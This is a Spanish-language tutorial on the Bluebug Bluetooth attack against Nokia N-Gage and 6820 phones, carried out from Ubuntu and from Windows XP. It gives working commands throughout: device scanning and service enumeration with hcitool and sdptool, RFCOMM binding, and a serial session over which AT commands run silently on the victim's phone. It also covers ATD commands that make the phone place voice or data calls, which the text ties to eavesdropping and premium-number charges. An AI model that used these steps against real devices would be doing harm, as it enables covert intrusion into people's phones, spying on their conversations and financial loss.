
Ataque Bluebug desde Linux
Documentación del ataque Bluebug desde Linux Ubuntu.
Ataque Bluebug desde Microsoft Windows
Documentación del ataque Bluebug desde Microsoft Windows XP SP2.
2. desde Linux.
El siguiente ataque ha sido llevado a cabo contra Nokia NGage desde la distribución Ubuntu y un adaptador USB Bluetooth. Puede que los resultados del siguiente test no sean los mismos dependiendo de diferentes modelos o versiones de firmware.
2.1. Requisitos previos.
Lo primero sería conectar nuestro adaptador Bluetooth USB al PC y activar el Bluetooth de Nokia Ngage en modo no oculto o visible.

2.2. Obtener los canales de transmisión.
Antes de proceder con el ataque, tenemos que realizar una enumeración y detección de información sobre el dispositivo. Vamos a comprobar qué canales del protocolo RFCOMM usa nuestra Ngage para transmitir datos mediante Bluetooth.
Para ello necesitaremos instalar los siguientes paquetes en nuestro Linux:
• Bluez-utils
• Bluez-pin
Una vez instalados estos paquetes, hacemos un escaneo de dispositivos para comprobar que detectamos Nokia NGage. Para ello abrimos un terminal en Linux, nos identificamos como root y tecleamos:
zaerik@ubuntu:~ $ hcitool scan
Esto nos devolverá algo parecido a:
Scanning ...
00:60:57:D0:F9:15 Ngage
Lo que quiere decir que ha detectado un dispositivo Bluetooth llamado Ngage y su dirección MAC es 00:60:57:D0:F9:15.
Una vez que conocemos la MAC de Nokia NGage podemos usar la utilidad sdptool para obtener datos sobre el teléfono móvil. La sintaxis de esta utilidad es:
sdptool browse <Mac>
Al usar este comando la respuesta nos mostrara algo como esto:
zaerik@ubuntu:~ $ sdptool browse 00:60:57:D0:F9:15
Browsing 00:60:57:D0:F9:15 ...
Service Name: Fax
Service RecHandle: 0x10000
Service Class ID List:
"Fax" (0x1111)
"Generic Telephony" (0x1204)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Fax" (0x1111)
Version: 0x0100
Service Name: Dial-up Networking
Service RecHandle: 0x10001
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100
Service Name: Bluetooth Serial Port
Service Description: Bluetooth Serial Port
Service Provider: Symbian Ltd.
Service RecHandle: 0x10004
Service Class ID List:
"Serial Port" (0x1101)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Service Name: OBEX Object Push
Service RecHandle: 0x10005
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100
Service Name: OBEX File Transfer
Service RecHandle: 0x10006
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100
Service Name: Handsfree Audio Gateway
Service RecHandle: 0x10007
Service Class ID List:
"" (0x111f)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 2
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
Profile Descriptor List:
"" (0x111e)
Version: 0x0100
Lo que quiere decir que Nokia NGage tiene activos los canales 1,2, 3, 9 y 10 de RFCOMM para transmitir datos mediante Bluetooth emulando una conexión serie RS-232.

2.3. Comandos AT en Nokia NGage.
Como se ha comentado anteriormente, es posible distinguir distintos teléfonos móviles del mercado que permiten la ejecución total del juego de comandos AT o sólo parcialmente. En este caso, Nokia Ngage no acepta Comandos AT de acceso a la memoria de contactos y llamadas y tampoco permite gestionar el servicio SMS.
A fin de poder testear el envío de Comandos AT, será necesario tener instalados los siguientes paquetes:
• rfcomm
• cu
2.4. Enlazar rfcomm1 con la dirección MAC de la Nokia NGage por el canal 1.
Como hemos visto, Nokia NGage tiene activos los canales 1,2, 3, 9 y 10 de RFCOMM. Vamos a probar el ataque a través del canal 1, "Generic Telephony".
Abrimos una terminal como root y ejecutamos el comando:
zaerik@ubuntu:~ $ rfcomm bind /dev/rfcomm1 <Mac> 1
2.5. Conectarse a rfcomm1 para poder enviar Comandos AT.
Ahora abrimos otro terminal y ejecutamos el comando:
zaerik@ubuntu:~ $ cu -l rfcomm1 -s 9600
En caso de que el PC y Nokia NGage no se encuentren emparejados, será requerido el intercambio de claves. Si los dispositivos ya se encontraban anteriormente emparejados, aparecerá lo siguiente en la consola:

A partir de este momento, ya hemos establecido una sesión de Comandos AT con Nokia NGage y estamos en disposición de enviar Comandos AT y recibir respuestas.
2.6. Obtener información básica del teléfono móvil comprometido.
Algunos Comandos AT básicos para la obtención de información en el dispositivo GSM son:
• ATI - Devuelve la marca del teléfono móvil.
• AT+CGMM – Devuelve el modelo del teléfono móvil.
• AT+CGMR – Devuelve la versión del firmware del teléfono móvil.

Estos comandos serán ejecutados de manera silenciosa, sin que el usuario de Nokia NGage reciba ninguna advertencia o aviso en pantalla.
2.7. Realizar una llamada a cierto número de teléfono.
Hasta aquí todo parece inofensivo, pero ahora veremos como podemos utilizar los Comandos AT para hacer una llamada a través del teléfono móvil comprometido. Todos podemos imaginar las consecuencias que una acción como esta puede llegar a tener, desde espionaje de conversaciones privadas hasta llamadas a números especiales, con el consiguiente gasto del saldo económico.
Para ello se utilizan los siguientes comandos AT:
• ATD<número> – Este comando hara que la Nokia NGage haga una llamada de datos al número introducido.
• ATD<número>; – Este comando hara que la Nokia NGage haga una llamada de voz al número introducido.

En la pantalla de Nokia NGage aparecerá el siguiente aviso:

Llamada de datos

Llamada de voz
3. desde Microsoft Windows.
El siguiente ataque ha sido llevado a cabo contra Nokia 6820 desde Microsoft Windows XP SP2 y un adaptador USB Bluetooth. Puede que los resultados del siguiente test no sean los mismos dependiendo de diferentes modelos o versiones de firmware.
3.1. Requisitos previos.
Lo primero es insertar el dispositivo USB Bluetooth en nuestro equipo e instalarlo para que Windows pueda trabajar con él.
Por parte del teléfono móvil a comprometer, este debe tener Bluetooth activado.
Por último, recomendamos que los dos dispositivos (PC y teléfono) se encuentren previamente emparejados.
3.2. Detectar el teléfono móvil Bluetooth.
Desde Mis Sitios de Bluetooth, procedemos a buscar dispositivos con la acción Buscar dispositivos a mi alcance.

3.3. Detectar servicios Bluetooth en el teléfono móvil.
Seleccionamos el objeto Nokia 6820 y ejecutamos la acción Detectar servicios.

3.4. Establecimiento de conexión con el Puerto Serie COM1.
De entre todos los servicios disponibles en el teléfono móvil, seleccionamos el servicio de Puerto Serie COM1 y creamos una conexión.

El teléfono móvil pedirá aceptación de conexión con el dispositivo PC y, en caso positivo, aparecerá el siguiente mensaje en nuestra pantalla.

Este mensaje nos advierte que cualquier aplicación PC puede acceder a la conexión establecida con el teléfono móvil utilizando el Puerto COM4 del PC.

3.5. Envío de comandos AT al teléfono móvil a través de Hyperterminal.
Ahora que ya sabemos cual es el puerto COM que permite al PC comunicarse con el teléfono móvil, iniciamos la aplicación Hyperterminal y creamos una nueva conexión a través del puerto COM4.

A partir de este momento, ya seremos capaces de enviar comandos AT al teléfono móvil a través de Hyperterminal.
